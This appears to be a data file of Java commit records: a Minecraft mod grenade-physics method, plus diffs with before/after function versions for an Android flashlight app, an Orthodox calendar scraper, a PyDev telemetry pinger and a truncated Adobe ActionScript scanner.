public void onUpdate() { super.onUpdate(); //Quiet despawning if(type.despawnTime > 0 && ticksExisted > type.despawnTime) { detonated = true; setDead(); return; } //Visuals if(worldObj.isRemote) { if(type.trailParticles) worldObj.spawnParticle(type.trailParticleType, posX, posY, posZ, 0F, 0F, 0F); //Smoke if(!smoking) { for(int i = 0; i < 20; i++) worldObj.spawnParticle(type.trailParticleType, posX + rand.nextGaussian(), posY + rand.nextGaussian(), posZ + rand.nextGaussian(), 0F, 0F, 0F); smokeTime--; if(smokeTime == 0) setDead(); } } //Detonation conditions if(!worldObj.isRemote) { if(ticksExisted > type.fuse && type.fuse > 0) detonate(); //If this grenade has a proximity trigger, check for living entities within it's range if(type.livingProximityTrigger > 0 || type.driveableProximityTrigger > 0) { float checkRadius = Math.max(type.livingProximityTrigger, type.driveableProximityTrigger); List list = worldObj.getEntitiesWithinAABBExcludingEntity(this, boundingBox.expand(checkRadius, checkRadius, checkRadius)); for(Object obj : list) { if(obj == thrower && ticksExisted < 10) continue; if(obj instanceof EntityLivingBase && getDistanceToEntity((Entity)obj) < type.livingProximityTrigger) { //If we are in a gametype and both thrower and triggerer are playing, check for friendly fire if(TeamsManager.getInstance() != null && TeamsManager.getInstance().currentGametype != null && obj instanceof EntityPlayerMP && thrower instanceof EntityPlayer) { if(!TeamsManager.getInstance().currentGametype.playerAttacked((EntityPlayerMP)obj, new EntityDamageSourceGun(type.shortName, this, (EntityPlayer)thrower, type))) continue; } detonate(); break; } if(obj instanceof EntityDriveable && getDistanceToEntity((Entity)obj) < type.driveableProximityTrigger) { detonate(); break; } } } } //If the block we were stuck to is gone, unstick if(stuck && worldObj.isAirBlock(stuckToX, stuckToY, stuckToZ)) stuck = false; //Physics and motion (Don't move if stuck) if(!stuck) { prevRotationYaw = axes.getYaw(); prevRotationPitch = axes.getPitch(); prevRotationRoll = axes.getRoll(); if(angularVelocity.lengthSquared() > 0.00000001F) axes.rotateLocal(angularVelocity.length(), angularVelocity.normalise(null)); Vector3f posVec = new Vector3f(posX, posY, posZ); Vector3f motVec = new Vector3f(motionX, motionY, motionZ); Vector3f nextPosVec = Vector3f.add(posVec, motVec, null); //Raytrace the motion of this grenade MovingObjectPosition hit = worldObj.clip(posVec.toVec3(), nextPosVec.toVec3()); //If we hit block if(hit != null && hit.typeOfHit == EnumMovingObjectType.TILE) { //Get the blockID and block material int blockID = worldObj.getBlockId(hit.blockX, hit.blockY, hit.blockZ); Material mat = worldObj.getBlockMaterial(hit.blockX, hit.blockY, hit.blockZ); //If this grenade detonates on impact, do so if(type.detonateOnImpact) detonate(); //If we hit glass and can break it, do so else if(type.breaksGlass && mat == Material.glass && FlansMod.canBreakGlass) { worldObj.setBlockToAir(hit.blockX, hit.blockY, hit.blockZ); FlansMod.proxy.playBlockBreakSound(hit.blockX, hit.blockY, hit.blockZ, blockID); } //If this grenade does not penetrate blocks, hit the block instead //The grenade cannot bounce if it detonated on impact, so hence the "else" condition else if(!type.penetratesBlocks) { Vector3f hitVec = new Vector3f(hit.hitVec); //Motion of the grenade pre-hit Vector3f preHitMotVec = Vector3f.sub(hitVec, posVec, null); //Motion of the grenade post-hit Vector3f postHitMotVec = Vector3f.sub(motVec, preHitMotVec, null); //Reflect postHitMotVec based on side hit int sideHit = hit.sideHit; switch(sideHit) { case 0 : case 1 : postHitMotVec.setY(-postHitMotVec.getY()); break; case 4 : case 5 : postHitMotVec.setX(-postHitMotVec.getX()); break; case 2 : case 3 : postHitMotVec.setZ(-postHitMotVec.getZ()); break; } //Calculate the time interval spent post reflection float lambda = Math.abs(motVec.lengthSquared()) < 0.00000001F ? 1F : postHitMotVec.length() / motVec.length(); //Scale the post hit motion by the bounciness of the grenade postHitMotVec.scale(type.bounciness / 2); //Move the grenade along the new path including reflection posX += preHitMotVec.x + postHitMotVec.x; posY += preHitMotVec.y + postHitMotVec.y; posZ += preHitMotVec.z + postHitMotVec.z; //Set the motion motionX = postHitMotVec.x / lambda; motionY = postHitMotVec.y / lambda; motionZ = postHitMotVec.z / lambda; //Reset the motion vector motVec = new Vector3f(motionX, motionY, motionZ); //Give it a random spin float randomSpinner = 90F; Vector3f.add(angularVelocity, new Vector3f(rand.nextGaussian() * randomSpinner, rand.nextGaussian() * randomSpinner, rand.nextGaussian() * randomSpinner), angularVelocity); //Slow the spin based on the motion angularVelocity.scale(motVec.lengthSquared()); //Play the bounce sound if(motVec.lengthSquared() > 0.01D) playSound(type.bounceSound, 1.0F, 1.2F / (this.rand.nextFloat() * 0.2F + 0.9F)); //If this grenade is sticky, stick it to the block if(type.sticky) { //Move the grenade to the point of contact posX = hitVec.x; posY = hitVec.y; posZ = hitVec.z; //Stop all motion of the grenade motionX = motionY = motionZ = 0; angularVelocity.set(0F, 0F, 0F); float yaw = axes.getYaw(); switch(hit.sideHit) { case 0 : axes.setAngles(yaw, 180F, 0F); break; case 1 : axes.setAngles(yaw, 0F, 0F); break; case 2 : axes.setAngles(270F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 3 : axes.setAngles(90F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 4 : axes.setAngles(180F, 90F, 0F); axes.rotateLocalYaw(yaw); break; case 5 : axes.setAngles(0F, 90F, 0F); axes.rotateLocalYaw(yaw); break; } //Set the stuck flag on stuck = true; stuckToX = hit.blockX; stuckToY = hit.blockY; stuckToZ = hit.blockZ; } } } //We didn't hit a block, continue as normal else { posX += motionX; posY += motionY; posZ += motionZ; } //Update the grenade position setPosition(posX, posY, posZ); } //If throwing this grenade at an entity should hurt them, this bit checks for entities in the way and does so //(Don't attack entities when stuck to stuff) if(type.hitEntityDamage > 0 && !stuck) { Vector3f motVec = new Vector3f(motionX, motionY, motionZ); List list = worldObj.getEntitiesWithinAABBExcludingEntity(this, boundingBox); for(Object obj : list) { if(obj == thrower && ticksExisted < 10 || motVec.lengthSquared() < 0.01D) continue; if(obj instanceof EntityLivingBase) { System.out.println("Damage: " + (type.hitEntityDamage * motVec.lengthSquared() * 3)); ((EntityLivingBase)obj).attackEntityFrom(getGrenadeDamage(), type.hitEntityDamage * motVec.lengthSquared() * 3); } } } //Apply gravity motionY -= 9.81D / 400D * type.fallSpeed; }
diff --git a/FanBurst/src/com/ecahack/fanburst/MainActivity.java b/FanBurst/src/com/ecahack/fanburst/MainActivity.java index 6a5d628..b26c729 100644 --- a/FanBurst/src/com/ecahack/fanburst/MainActivity.java +++ b/FanBurst/src/com/ecahack/fanburst/MainActivity.java @@ -1,360 +1,360 @@ package com.ecahack.fanburst; import java.io.IOException; import java.util.ArrayList; import java.util.Timer; import java.util.TimerTask; import com.ecahack.fanburst.WSClient.WSClientListener; import android.hardware.Camera; import android.hardware.Camera.Parameters; import android.os.Bundle; import android.os.CountDownTimer; import android.os.Handler; import android.app.Activity; import android.app.AlertDialog; import android.content.Context; import android.content.pm.PackageManager; import android.util.Log; import android.view.*; import android.view.SurfaceHolder.Callback; import android.view.View.OnClickListener; import android.view.View.OnTouchListener; import android.view.animation.AlphaAnimation; import android.view.animation.Animation; import android.view.animation.Animation.AnimationListener; import android.view.animation.AnimationUtils; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.TextView; import android.widget.ToggleButton; import android.widget.ViewFlipper; public class MainActivity extends Activity implements OnClickListener, Callback, OnTouchListener, WSClientListener { private TimeSyncService mTimeSync = new TimeSyncService(); private Button mRegisterButton; private Button mFlashButton; private TextView mActiveUsersView; private TextView mPatternTextView; private TextView mTimerView; private ImageView mBulbView; private ViewFlipper flipper; private boolean mPatternRunning; private boolean isFlashOn; private WSClient mWSClient; Camera mCamera; private SurfaceHolder mHolder; private static final String TAG = "FanBurst"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); flipper = (ViewFlipper) findViewById(R.id.flipper); LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); flipper.addView(inflater.inflate(R.layout.registation, null)); flipper.addView(inflater.inflate(R.layout.activation, null)); flipper.setInAnimation(AnimationUtils.loadAnimation(this, R.anim.slide_in_right)); flipper.setOutAnimation(AnimationUtils.loadAnimation(this, R.anim.slide_out_left)); mRegisterButton = (Button)this.findViewById(R.id.registerButton); mRegisterButton.setOnClickListener(this); mFlashButton = (Button)this.findViewById(R.id.flashOnShakeButton); mFlashButton.setOnTouchListener(this); mActiveUsersView = (TextView)this.findViewById(R.id.activeUsersTextView); mPatternTextView = (TextView)this.findViewById(R.id.patternTextView); mTimerView = (TextView)this.findViewById(R.id.timer); mBulbView = (ImageView)this.findViewById(R.id.bulbImageView); mWSClient = new WSClient(this); mWSClient.connect(); boolean hasCamera = checkCameraHardware(getApplicationContext()); if (hasCamera) initCamera(); else showNoCameraDialog(); } @Override protected void onResume() { super.onResume(); } @Override protected void onPause() { super.onPause(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return false; } @Override public void updateStats(final long active, long users) { MainActivity.this.runOnUiThread(new Runnable() { @Override public void run() { mActiveUsersView.setText(String.valueOf(active)); } }); } @Override public void updateTimeSync(long sentTime, long serverTime) { mTimeSync.collectResponse(sentTime, serverTime); if(mTimeSync.getSamplesLength() < 5) { sentTimesyncRequest(); } else { mTimeSync.finish(); Log.d(TAG, String.format("Result timeshift %d", mTimeSync.getTimeshift())); } } @Override public void showPattern(final String name, final long startAt, final long interval, final ArrayList<Integer> pattern) { if (!mPatternRunning) { mPatternRunning = true; MainActivity.this.runOnUiThread(new Runnable() { @Override public void run() { long startInterval = startAt - mTimeSync.getCurrentTimestamp(); runTimerWithSec(startInterval); mPatternTextView.setText(name); startPatternAfterDelay(startInterval, pattern, interval); } }); } } @Override public void onClick(View v) { if (v == mRegisterButton) { sendRegisterInfo(); sentTimesyncRequest(); } } @Override public boolean onTouch( View button , MotionEvent theMotion ) { if (mPatternRunning) return true; switch ( theMotion.getAction() ) { case MotionEvent.ACTION_DOWN: turnOn(); break; case MotionEvent.ACTION_UP: turnOff(); break; } return true; } public void onToggleClicked(View view) { boolean on = ((ToggleButton) view).isChecked(); if (on) { sendActivateRequest(); } else { sendDeactivateRequest(); } } private void runTimerWithSec(final long sec) { final Animation in = new AlphaAnimation(0.0f, 1.0f); - in.setDuration(500); + in.setDuration(400); final Animation out = new AlphaAnimation(1.0f, 0.0f); - out.setDuration(400); + out.setDuration(300); in.setAnimationListener(new AnimationListener() { @Override public void onAnimationStart(Animation animation) { } @Override public void onAnimationRepeat(Animation animation) { } @Override public void onAnimationEnd(Animation animation) { mTimerView.startAnimation(out); } }); new CountDownTimer(sec, 1000) { long seconds = sec/1000; @Override public void onFinish() { mTimerView.setText(""); } @Override public void onTick(long millisUntilFinished) { mTimerView.setText(String.valueOf(seconds)); mTimerView.startAnimation(in); seconds--; } }.start(); } private void startPatternAfterDelay(long delay, final ArrayList<Integer> pattern, final long interval) { Timer timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { MainActivity.this.runOnUiThread(new Runnable() { @Override public void run() { runPattern(pattern, interval, 0); } }); } }, delay); } private void runPattern(final ArrayList<Integer> list, final long interval, final int i) { new CountDownTimer(list.size()*interval+50, interval) { int step = 0; @Override public void onTick(long millisUntilFinished) { if(step>=list.size()) return; Integer brightness = list.get(step); if (brightness == 1) turnOn(); else turnOff(); step++; } @Override public void onFinish() { mPatternRunning = false; mPatternTextView.setText(""); turnOff(); } }.start(); } private void sendRegisterInfo() { mWSClient.sendRegisterInfo(getDeviceId(), getUserSector(), getUserRow(), getUserPlace()); flipper.showNext(); } private void sentTimesyncRequest() { mWSClient.sentTimesyncRequest(mTimeSync.getCurrentTimestamp()); } private void sendDeactivateRequest() { mWSClient.sendDeactivateRequest(); } private void sendActivateRequest() { mWSClient.sendActivateRequest(); } private String getDeviceId() { return UniqueIdentifier.id(getApplicationContext()); } private String getUserSector() { return getEditTextValue(R.id.sectorTextView); } private String getUserPlace() { return getEditTextValue(R.id.placeTextView); } private String getUserRow() { return getEditTextValue(R.id.rowTextView); } private String getEditTextValue(int id) { EditText editText = (EditText) this.findViewById(id); return editText.getText().toString(); } private void initCamera() { SurfaceView preview = (SurfaceView) findViewById(R.id.surface); mHolder = preview.getHolder(); mHolder.addCallback(this); mCamera = Camera.open(); try { mCamera.setPreviewDisplay(mHolder); } catch (IOException e) { e.printStackTrace(); } } private void turnOn() { if (!isFlashOn) { isFlashOn = true; Parameters params = mCamera.getParameters(); params.setFlashMode(Parameters.FLASH_MODE_TORCH); mCamera.setParameters(params); mCamera.startPreview(); mBulbView.setImageResource(R.drawable.ic_img_bulb_on); } } private void turnOff() { if (isFlashOn) { isFlashOn = false; Parameters params = mCamera.getParameters(); params.setFlashMode(Parameters.FLASH_MODE_OFF); mCamera.setParameters(params); mBulbView.setImageResource(R.drawable.ic_img_bulb); } } public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {} public void surfaceCreated(SurfaceHolder holder) { mHolder = holder; try { mCamera.setPreviewDisplay(mHolder); } catch (IOException e) { e.printStackTrace(); } } public void surfaceDestroyed(SurfaceHolder holder) { mCamera.stopPreview(); mHolder = null; } private boolean checkCameraHardware(Context context) { if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)){ return true; } else { return false; } } private void showNoCameraDialog() { AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle("No camera"); builder.setMessage("Camera is necessary for application."); builder.setPositiveButton("OK", null); builder.show(); } }
false
true
private void runTimerWithSec(final long sec) { final Animation in = new AlphaAnimation(0.0f, 1.0f); in.setDuration(500); final Animation out = new AlphaAnimation(1.0f, 0.0f); out.setDuration(400); in.setAnimationListener(new AnimationListener() { @Override public void onAnimationStart(Animation animation) { } @Override public void onAnimationRepeat(Animation animation) { } @Override public void onAnimationEnd(Animation animation) { mTimerView.startAnimation(out); } }); new CountDownTimer(sec, 1000) { long seconds = sec/1000; @Override public void onFinish() { mTimerView.setText(""); } @Override public void onTick(long millisUntilFinished) { mTimerView.setText(String.valueOf(seconds)); mTimerView.startAnimation(in); seconds--; } }.start(); }
private void runTimerWithSec(final long sec) { final Animation in = new AlphaAnimation(0.0f, 1.0f); in.setDuration(400); final Animation out = new AlphaAnimation(1.0f, 0.0f); out.setDuration(300); in.setAnimationListener(new AnimationListener() { @Override public void onAnimationStart(Animation animation) { } @Override public void onAnimationRepeat(Animation animation) { } @Override public void onAnimationEnd(Animation animation) { mTimerView.startAnimation(out); } }); new CountDownTimer(sec, 1000) { long seconds = sec/1000; @Override public void onFinish() { mTimerView.setText(""); } @Override public void onTick(long millisUntilFinished) { mTimerView.setText(String.valueOf(seconds)); mTimerView.startAnimation(in); seconds--; } }.start(); }
diff --git a/src/klim/orthodox_calendar/Day.java b/src/klim/orthodox_calendar/Day.java index 50207f7..5966dc9 100755 --- a/src/klim/orthodox_calendar/Day.java +++ b/src/klim/orthodox_calendar/Day.java @@ -1,257 +1,257 @@ package klim.orthodox_calendar; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.text.DateFormatSymbols; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.GregorianCalendar; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.Date; import javax.jdo.annotations.IdGeneratorStrategy; import javax.jdo.annotations.IdentityType; import javax.jdo.annotations.PersistenceCapable; import javax.jdo.annotations.Persistent; import javax.jdo.annotations.NotPersistent; import javax.jdo.annotations.PrimaryKey; import com.google.appengine.api.datastore.Text; @PersistenceCapable(identityType = IdentityType.APPLICATION) public class Day { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Long id; @Persistent private Date dayToParse; @Persistent private Date pubDate; public void setPubDate(Date pubDate) { this.pubDate = pubDate; } public Date getPubDate() { return pubDate; } public Date getDayToParse() { return dayToParse; } public void setDayToParse(Date dayToParse) { this.dayToParse = dayToParse; initAllFields(); } @NotPersistent private Calendar calendarDay; @NotPersistent private Calendar calendarNewDay; @NotPersistent private String title; @NotPersistent private String link; @NotPersistent private String comments; @Persistent private Text description; public Long getId() { return id; } public String getDescription() { return getDescription(false); } public String getDescription(boolean env) { if (env) return escapeHtml(description.getValue()); return description.getValue(); } public void setDescription(Text description) { this.description = description; } @NotPersistent private SimpleDateFormat c; @NotPersistent private SimpleDateFormat c1; @NotPersistent private SimpleDateFormat c2; @NotPersistent private Boolean isInitialized; public Day(Date day) { dayToParse = Day.cutDate(day); initAllFields(); description = new Text(parseDay(day)); this.pubDate = new Date(); } private void initAllFields() { if (this.isInitialized == null || !isInitialized.booleanValue()) { this.c=new SimpleDateFormat("MMMdd", new DateFormatSymbols(new java.util.Locale("en"))); this.c1=new SimpleDateFormat("d MMMM", new DateFormatSymbols(new java.util.Locale("ru"))); this.c2=new SimpleDateFormat("d MMMM '20'yy EEEE", new DateFormatSymbols(new java.util.Locale("ru"))); this.calendarNewDay = new GregorianCalendar(); this.calendarNewDay.setTime(dayToParse); this.calendarDay = new GregorianCalendar(); this.calendarDay.setTime(dayToParse); this.calendarDay.add(Calendar.DATE, -13); this.isInitialized=new Boolean(true); } } public String getLink() { if (this.link == null) { this.initAllFields(); this.link = "http://calendar.rop.ru/mes1/" + c.format(this.calendarDay.getTime()).toLowerCase() + ".html"; } return this.link; } public String getTitle() { if (this.title == null) { this.initAllFields(); this.title = this.c1.format( this.calendarDay.getTime()) + " / " +this.c2.format(this.calendarNewDay.getTime()); } return this.title; } public String getComments() { if (this.comments == null) { this.initAllFields(); this.comments = getLink(); } return this.comments; } public String parseDay() { return parseDay(new Date()); } public String parseDay(Date day) { String ret=new String(); setCalendarDay(day); try { this.setCalendarDay(day); String toOpen="http://calendar.rop.ru/mes1/" + c.format(getCalendarDay().getTime()).toLowerCase() + ".html"; URL url = new URL(toOpen); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setInstanceFollowRedirects(true); ret=""; InputStream is = connection.getInputStream(); ret += toString(is); - Pattern p=Pattern.compile("(<td[^>]*id=.center_td.*>)<img[^>]*src=\"img/line1.gif\"", Pattern.DOTALL); + Pattern p=Pattern.compile("(<td[^>]*id=.center_td.*>)<img[^>]*src=\"img/line.*gif\"", Pattern.DOTALL); Matcher m=p.matcher(ret); if ( m.find() ) { ret = m.group(1); ret += "</div>"; Pattern p1 = Pattern.compile("href=\"([^\"]*)\"", Pattern.DOTALL); Matcher matcher = p1.matcher(ret); StringBuffer buf = new StringBuffer(); while (matcher.find()) { String replaceStr = "href=\"http://calendar.rop.ru/mes1/" + matcher.group(1) + "\""; matcher.appendReplacement(buf, replaceStr); } matcher.appendTail(buf); ret=buf.toString(); } else ret = ""; description = new Text(ret); } catch (MalformedURLException e) { System.err.println(e); } catch (IOException e) { System.err.println(e); } return ret; } public Calendar getCalendarDay() { return this.calendarDay; } public void setCalendarDay(Date calendarDay) { Calendar tmp = new GregorianCalendar(); tmp.setTime(calendarDay); setCalendarDay(tmp); } public void setCalendarDay(Calendar calendarDay) { this.calendarNewDay = calendarDay; this.calendarDay = new GregorianCalendar(); this.calendarDay.setTime(calendarDay.getTime()); this.calendarDay.add(Calendar.DATE, -13); this.title=null; this.link=null; this.comments=null; this.description=new Text(""); } private String escapeHtml(String html) { if (html == null) { return null; } return html.replaceAll("&", "&amp;").replaceAll("<", "&lt;") .replaceAll(">", "&gt;"); } private String toString(InputStream inputStream) throws IOException { String string; StringBuilder outputBuilder = new StringBuilder(); if (inputStream != null) { BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream,"windows-1251"/*"UTF8"*/)); while (null != (string = reader.readLine())) { outputBuilder.append(string).append('\n'); } } return outputBuilder.toString(); } public static final Date cutDate(Date date) { Calendar c = Calendar.getInstance(); c.setTime(date); c.set(Calendar.HOUR_OF_DAY, 0); c.set(Calendar.MINUTE, 0); c.set(Calendar.SECOND, 0); c.set(Calendar.MILLISECOND, 0); return c.getTime(); } }
true
true
public String parseDay(Date day) { String ret=new String(); setCalendarDay(day); try { this.setCalendarDay(day); String toOpen="http://calendar.rop.ru/mes1/" + c.format(getCalendarDay().getTime()).toLowerCase() + ".html"; URL url = new URL(toOpen); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setInstanceFollowRedirects(true); ret=""; InputStream is = connection.getInputStream(); ret += toString(is); Pattern p=Pattern.compile("(<td[^>]*id=.center_td.*>)<img[^>]*src=\"img/line1.gif\"", Pattern.DOTALL); Matcher m=p.matcher(ret); if ( m.find() ) { ret = m.group(1); ret += "</div>"; Pattern p1 = Pattern.compile("href=\"([^\"]*)\"", Pattern.DOTALL); Matcher matcher = p1.matcher(ret); StringBuffer buf = new StringBuffer(); while (matcher.find()) { String replaceStr = "href=\"http://calendar.rop.ru/mes1/" + matcher.group(1) + "\""; matcher.appendReplacement(buf, replaceStr); } matcher.appendTail(buf); ret=buf.toString(); } else ret = ""; description = new Text(ret); } catch (MalformedURLException e) { System.err.println(e); } catch (IOException e) { System.err.println(e); } return ret; }
public String parseDay(Date day) { String ret=new String(); setCalendarDay(day); try { this.setCalendarDay(day); String toOpen="http://calendar.rop.ru/mes1/" + c.format(getCalendarDay().getTime()).toLowerCase() + ".html"; URL url = new URL(toOpen); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setInstanceFollowRedirects(true); ret=""; InputStream is = connection.getInputStream(); ret += toString(is); Pattern p=Pattern.compile("(<td[^>]*id=.center_td.*>)<img[^>]*src=\"img/line.*gif\"", Pattern.DOTALL); Matcher m=p.matcher(ret); if ( m.find() ) { ret = m.group(1); ret += "</div>"; Pattern p1 = Pattern.compile("href=\"([^\"]*)\"", Pattern.DOTALL); Matcher matcher = p1.matcher(ret); StringBuffer buf = new StringBuffer(); while (matcher.find()) { String replaceStr = "href=\"http://calendar.rop.ru/mes1/" + matcher.group(1) + "\""; matcher.appendReplacement(buf, replaceStr); } matcher.appendTail(buf); ret=buf.toString(); } else ret = ""; description = new Text(ret); } catch (MalformedURLException e) { System.err.println(e); } catch (IOException e) { System.err.println(e); } return ret; }
diff --git a/plugins/org.python.pydev/src/org/python/pydev/logging/ping/LogPingSender.java b/plugins/org.python.pydev/src/org/python/pydev/logging/ping/LogPingSender.java index 9020a5969..5a98b70c2 100644 --- a/plugins/org.python.pydev/src/org/python/pydev/logging/ping/LogPingSender.java +++ b/plugins/org.python.pydev/src/org/python/pydev/logging/ping/LogPingSender.java @@ -1,90 +1,94 @@ package org.python.pydev.logging.ping; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; import java.net.UnknownHostException; import java.util.zip.GZIPOutputStream; import org.python.pydev.core.log.Log; import org.python.pydev.plugin.PydevPlugin; public class LogPingSender implements ILogPingSender{ private static final String UPDATE_URL = "https://ping.aptana.com/ping.php"; //$NON-NLS-1$ public boolean sendPing(String pingString) { URL url = null; boolean result = false; try { // gzip POST string // System.out.println("Sending: " + queryString); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gos = new GZIPOutputStream(baos); try { gos.write(pingString.getBytes()); gos.flush(); gos.finish(); } finally { gos.close(); } baos.close(); byte[] gzippedData = baos.toByteArray(); // byte[] gzippedData = queryString.getBytes(); // create URL url = new URL(UPDATE_URL); // open connection and configure it URLConnection connection = url.openConnection(); connection.setDoOutput(true); connection.setRequestProperty("Content-Encoding", "gzip"); //$NON-NLS-1$ //$NON-NLS-2$ connection.setRequestProperty("Content-Length", String.valueOf(gzippedData.length)); //$NON-NLS-1$ connection.setRequestProperty("User-Agent", "Pydev/" + PydevPlugin.version); //$NON-NLS-1$ - connection.setReadTimeout(1000 * 60); // 1 minute read timeout + try { + connection.setReadTimeout(1000 * 60); // 1 minute read timeout + } catch (Throwable e) { + //ignore (not available for java 1.4) + } // write POST DataOutputStream output = new DataOutputStream(connection.getOutputStream()); try { output.write(gzippedData); // Get the response // NOTE: we really only need to read one line, but we read all of them since this lets // us examine error messages and helps with debugging BufferedReader input; StringBuffer sb; // output.writeBytes(queryString); output.flush(); input = new BufferedReader(new InputStreamReader(connection.getInputStream())); try { sb = new StringBuffer(); String line; while ((line = input.readLine()) != null) { sb.append(line); } // Debug result! (+ means recorded and - means not recorded) // String resultText = sb.toString(); // System.out.println(resultText); } finally { input.close(); } } finally { output.close(); } result = true; } catch (UnknownHostException e) { // happens when user is offline or can't resolve aptana.com } catch (Exception e) { Log.log(e); } return result; } }
true
true
public boolean sendPing(String pingString) { URL url = null; boolean result = false; try { // gzip POST string // System.out.println("Sending: " + queryString); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gos = new GZIPOutputStream(baos); try { gos.write(pingString.getBytes()); gos.flush(); gos.finish(); } finally { gos.close(); } baos.close(); byte[] gzippedData = baos.toByteArray(); // byte[] gzippedData = queryString.getBytes(); // create URL url = new URL(UPDATE_URL); // open connection and configure it URLConnection connection = url.openConnection(); connection.setDoOutput(true); connection.setRequestProperty("Content-Encoding", "gzip"); //$NON-NLS-1$ //$NON-NLS-2$ connection.setRequestProperty("Content-Length", String.valueOf(gzippedData.length)); //$NON-NLS-1$ connection.setRequestProperty("User-Agent", "Pydev/" + PydevPlugin.version); //$NON-NLS-1$ connection.setReadTimeout(1000 * 60); // 1 minute read timeout // write POST DataOutputStream output = new DataOutputStream(connection.getOutputStream()); try { output.write(gzippedData); // Get the response // NOTE: we really only need to read one line, but we read all of them since this lets // us examine error messages and helps with debugging BufferedReader input; StringBuffer sb; // output.writeBytes(queryString); output.flush(); input = new BufferedReader(new InputStreamReader(connection.getInputStream())); try { sb = new StringBuffer(); String line; while ((line = input.readLine()) != null) { sb.append(line); } // Debug result! (+ means recorded and - means not recorded) // String resultText = sb.toString(); // System.out.println(resultText); } finally { input.close(); } } finally { output.close(); } result = true; } catch (UnknownHostException e) { // happens when user is offline or can't resolve aptana.com } catch (Exception e) { Log.log(e); } return result; }
public boolean sendPing(String pingString) { URL url = null; boolean result = false; try { // gzip POST string // System.out.println("Sending: " + queryString); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gos = new GZIPOutputStream(baos); try { gos.write(pingString.getBytes()); gos.flush(); gos.finish(); } finally { gos.close(); } baos.close(); byte[] gzippedData = baos.toByteArray(); // byte[] gzippedData = queryString.getBytes(); // create URL url = new URL(UPDATE_URL); // open connection and configure it URLConnection connection = url.openConnection(); connection.setDoOutput(true); connection.setRequestProperty("Content-Encoding", "gzip"); //$NON-NLS-1$ //$NON-NLS-2$ connection.setRequestProperty("Content-Length", String.valueOf(gzippedData.length)); //$NON-NLS-1$ connection.setRequestProperty("User-Agent", "Pydev/" + PydevPlugin.version); //$NON-NLS-1$ try { connection.setReadTimeout(1000 * 60); // 1 minute read timeout } catch (Throwable e) { //ignore (not available for java 1.4) } // write POST DataOutputStream output = new DataOutputStream(connection.getOutputStream()); try { output.write(gzippedData); // Get the response // NOTE: we really only need to read one line, but we read all of them since this lets // us examine error messages and helps with debugging BufferedReader input; StringBuffer sb; // output.writeBytes(queryString); output.flush(); input = new BufferedReader(new InputStreamReader(connection.getInputStream())); try { sb = new StringBuffer(); String line; while ((line = input.readLine()) != null) { sb.append(line); } // Debug result! (+ means recorded and - means not recorded) // String resultText = sb.toString(); // System.out.println(resultText); } finally { input.close(); } } finally { output.close(); } result = true; } catch (UnknownHostException e) { // happens when user is offline or can't resolve aptana.com } catch (Exception e) { Log.log(e); } return result; }
diff --git a/src/java/macromedia/asc/parser/Scanner.java b/src/java/macromedia/asc/parser/Scanner.java index f05311d..3a23375 100644 --- a/src/java/macromedia/asc/parser/Scanner.java +++ b/src/java/macromedia/asc/parser/Scanner.java @@ -1,2025 +1,2025 @@ //////////////////////////////////////////////////////////////////////////////// // // ADOBE SYSTEMS INCORPORATED // Copyright 2004-2007 Adobe Systems Incorporated // All Rights Reserved. // // NOTICE: Adobe permits you to use, modify, and distribute this file // in accordance with the terms of the license agreement accompanying it. // //////////////////////////////////////////////////////////////////////////////// /* * Written by Jeff Dyer * Copyright (c) 1998-2003 Mountain View Compiler Company * All rights reserved. */ package macromedia.asc.parser; import java.util.concurrent.*; import macromedia.asc.util.*; import macromedia.asc.embedding.ErrorConstants; import java.io.InputStream; import static macromedia.asc.parser.Tokens.*; import static macromedia.asc.parser.States.*; import static macromedia.asc.parser.CharacterClasses.*; import static macromedia.asc.embedding.avmplus.Features.*; /** * Partitions input character stream into tokens. * * @author Jeff Dyer */ public final class Scanner implements ErrorConstants { private static final boolean debug = false; private static final int slashdiv_context = 0x1; private static final int slashregexp_context = 0x2; private ObjectList<Token> tokens; // vector of token instances. private IntList slash_context = new IntList(); // slashdiv_context or slashregexp_context private boolean isFirstTokenOnLine; private boolean save_comments; private Context ctx; public InputBuffer input; private static final String[][] rsvd = { {"as"}, {"break"}, {"case","catch","class","const","continue"}, {"default","delete","do"}, {"else","extends"}, {"false","finally","for","function"}, {"get"}, {""},//h {"if","implements","import","in","include","instanceof","interface","is"}, {""},//j {""},//k {""},//l {""},//m {"namespace","new","null"}, {""},//o {"package","private","protected","public"}, {""},//q {"return"}, {"set","super","switch"}, {"this","throw","true","try","typeof"}, {"use"}, {"var","void"}, {"while","with"}, {""},//x {""},//y {""}//z }; // ??? too fragile...come up with a better way private static final int[][] rsvd_token = { {AS_TOKEN}, {BREAK_TOKEN}, {CASE_TOKEN,CATCH_TOKEN,CLASS_TOKEN,CONST_TOKEN,CONTINUE_TOKEN}, {DEFAULT_TOKEN,DELETE_TOKEN,DO_TOKEN}, {ELSE_TOKEN,EXTENDS_TOKEN}, 